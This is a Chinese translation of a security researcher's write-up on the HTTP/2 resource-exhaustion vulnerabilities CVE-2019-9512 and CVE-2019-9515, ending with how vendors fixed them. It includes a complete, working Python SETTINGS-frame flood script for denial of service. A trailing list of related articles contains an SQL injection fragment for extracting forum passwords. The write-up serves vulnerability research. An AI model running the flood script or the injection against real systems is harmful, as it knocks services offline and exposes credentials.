Java技术栈

www.javastack.cn

优秀的Java技术公众号

在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。

近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?


以下为译文:
几周前,Netflix公开了许多第三方HTTP/2实现中都存在的资源耗尽漏洞——由Jonathan Looney发现。该漏洞会直接影响Kubernetes中的HTTP/2端点(由net/http、x/net/http2等GoLang库实现),还会影响到nginx等其他项目。甚至还有人为这个漏洞画了个标志。
虽然人们对DoS的漏洞见怪不怪了,但我没有太多有关HTTP/2的经验,特别是在传输层,所以我决定利用这次机会深入了解HTTP/2的规范及其工作原理。

1、背景

为了理解HTTP/2实现中的各种弱点,你需要深刻地理解HTTP/1.1和HTTP/2之间的基本差异。
更多详细信息,我推荐你阅读Google的HTTP/2简介(https://developers.google.com/web/fundamentals/performance/http2/),在文本中,我只介绍几个关键点。
HTTP/2引入了一个与HTTP/1.1的数据传输有显著差异的功能:通过单个TCP连接多路复用多个数据交换。该功能为HTTP/2带来了显著的性能优势,但它本身需要一些额外的流控制逻辑。简而言之,在HTTP/2中,单个TCP连接可以携带多个流,这些流由包含帧序列的多个消息组成。
从上图中可以看出,HTTP/2与标准的HTTP的请求-响应语法非常接近,只不过这些请求和响应封装在了包含相关帧(HEADERS和DATA)的HTTP/2消息流中。这个规范中有许多其他帧类型,主要与流控制相关,熟悉HTTP/1.1模型的人可能并不了解这些类型:
  • PRIORITY

  • RST_STREAM

  • SETTINGS

  • PUSH_PROMISE

  • PING

  • GOAWAY

  • WINDOW_UPDATE

  • CONTINUATION

2、漏洞

下面让我们来看一看CVE-2019-9512和CVE-2019-9515,二者分别会利用PING和空SETTINGS帧发送大量消息到HTTP/2的监听进程。
最初的公告表明,恶意客户端会将这些帧发送到服务器上,迫使服务器生成响应,但客户端不会读取响应,它们会持续发送大量消息,最终可能耗尽服务器的CPU和内存。
请注意,普通的客户端通常不会持续发送PING帧数据流,这只是为了比较正常的客户端数据交换与恶意客户端的攻击行为而举的例子。

3、概念验证

由于没有找到公开的概念验证程序,所以我决定编写一个,然后找一个未修复的本地目标进行测试。H2O似乎是一个不错的选择,所以我选择了他们易受攻击的docker镜像版本,并发送了如下curl测试请求:
如上所示,curl请求的响应头部确认该服务器支持HTTP/2。现在我找到了一个易受攻击的目标,接下来开始编写入侵代码——这里我们只关心SETTINGS帧的洪水攻击:
攻击者发送一系列SETTINGS帧。由于RFC要求服务器针对每个SETTINGS帧回复一个确认,因此空SETTINGS帧几乎等同于ping的行为。根据该数据的队列效率,这些请求可能会过度消耗CPU或内存(或两者兼有),最终导致服务器拒绝访问。
这种攻击看起来很简单:我们只需要重复发送空SETTINGS帧,直到目标服务降级为止。看似就这么简单:我们只需要通过发送HTTP/2的引导帧来启动连接。下面是Wireshark截获的连接引导帧:
接下来,我们只需要一个空SETTINGS帧的结构:
在收集到所需的二进制消息帧的示例之后,我们就可以编写攻击循环了(仅用于研究目的)。

import socket
import sys
import time
class SettingsFlood:
    SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
    PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
               b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
               b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
               b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
    def __init__(self, ip, port=80, socket_count=200):
        self._ip = ip
        self._port = port
        self._sockets = [self.create_socket() for _ in range(socket_count)]
    def create_socket(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((self._ip, self._port))
            s.send(self.PREAMBLE)
            return s
        except socket.error as se:
            print("Error: "+str(se))
            time.sleep(0.5)
            return self.create_socket()
    def attack(self, timeout=sys.maxsize, sleep=1):
        t, i = time.time(), 0
        while time.time() - t < timeout:
            for s in self._sockets:
                try:
                    s.send(self.SETTINGS_FRAME)
                except socket.error:
                    self._sockets.remove(s)
                    self._sockets.append(self.create_socket())
                time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
    dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
    dos.attack(timeout=60*10*10)

在针对测试容器运行上述脚本并发送另一个curl请求后,很明显攻击开始按照计划展开了——请求在等待服务器响应时挂起:

4、修复

大多数受影响的服务商都针对这些问题发布了补丁,他们采用了与H2O和GoLang类似的方法:限制发送队列中控制帧的数量。

作者:Randy Westergren

原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/

译者:弯月,责编:屠敏,CSDN 出品

- END -
推荐阅读:

1、

2、

3、

4、

5、

关注Java技术栈公众号在后台回复:Java,可获取一份栈长整理的最新Java 技术干货。

点击「阅读原文」和栈长学更多~

HTTP/2 最新漏洞,直指 Kubernetes!的更多相关文章

  1. BBSXP最新漏洞 简单注入检測 万能password

    BBSXP最新漏洞 漏洞日期:2005年7月1日受害版本号:眼下全部BBSXP漏洞利用:查前台password注入语句:blog.asp?id=1%20union%20select%201,1,use ...

  2. Ewebeditor最新漏洞及漏洞大全

    Ewebeditor最新漏洞及漏洞大全[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  3. Ewebeditor最新漏洞和漏洞指数

    Ewebeditor最新漏洞和漏洞指数[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  4. 关于centos7和centos6中平滑升级nginx到新版本v1.12.1修复nginx最新漏洞CVE-2017-7529的解决方案

    关于centos7和centos6中平滑升级nginx到新版本v1.12.1修复CVE-2017-7529漏洞的解决方案 漏洞描述 2017年7月11日,Nginx官方发布最新的安全公告,在Nginx ...

  5. Apache Struts最新漏洞 远程代码执行漏洞预警 2018年11月08日

    2018年11月8日,SINE安全监控检测中心,检测到Apache Struts官方更新了一个Struts漏洞补丁,这个漏洞是Apache Struts目前最新的漏洞,影响范围较广,低于Apache ...

  6. dedecms5.7最新漏洞修复

    最近发现织梦cms被挂马现象频繁,解决好好几个网站的问题,但是过不了多久,就又被攻击了,即使更改系统及ftp密码,也没有起到防御的作用,最后怀疑cms本身漏洞,于是采用工具扫描了一下,才发现问题的严重 ...

  7. 最新漏洞:Spring Framework远程代码执行漏洞

    Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...

  8. struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站,大家可以感受一下.” 看下乌云这两天的数据: 相关报道: 灾难日:中国互联网惨遭S ...

  9. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

随机推荐

  1. #python#return和print的一些理解

    https://www.jianshu.com/p/18a6c0c76438 代码 (1) ++++++++++++++++++++++++++++++++++ x = 1y = 2def add ( ...

  2. kafka2.12_1.0.1生产者示范代码

    import java.util.Properties;import kafka.javaapi.producer.Producer;import kafka.producer.KeyedMessag ...

  3. 21.栈的压入、弹出序列(python)

    题目描述 输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否可能为该栈的弹出顺序.假设压入栈的所有数字均不相等.例如序列1,2,3,4,5是某栈的压入顺序,序列4,5,3,2,1是该压 ...

  4. 【bzoj1026】[SCOI2009]windy数

    *题目描述: windy定义了一种windy数.不含前导零且相邻两个数字之差至少为2的正整数被称为windy数. windy想知道,在A和B之间,包括A和B,总共有多少个windy数? *输入: 包含 ...

  5. (56)Linux驱动开发之二

                                                                                             内核基础   1.li ...

  6. wannafly 练习赛11 F 求子树(树上莫队+换根)

    链接:https://www.nowcoder.com/acm/contest/59/F 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 262144K,其他语言524288K 64b ...

  7. SettingBar的点击事件拦截

    接下来我们再来看另外一个案例,正如上面界面上显示的两个条目,车辆选择和始发地点选择,他们都有一个共同的特点就是都有共同的标题,内容和右剪头按钮,这种情况下我们都会把它封装成一个组合的自定义View来显 ...

  8. ES6 字符串的解构赋值

    字符串也可以解构赋值.这是因为此时,字符串被转换成了一个类似数组的对象. const [a, b, c, d, e] = 'hello'; a // "h" b // " ...

  9. 使用foreach进行批量更新

    public void addEmps(@Param("emps")List<Employee> emps); 2映射文件配置 <!-- 批量保存 --> ...

  10. 异步编程:IAsyncResult异步编程模型 (APM)

    http://www.cnblogs.com/heyuquan/archive/2013/03/22/2976420.html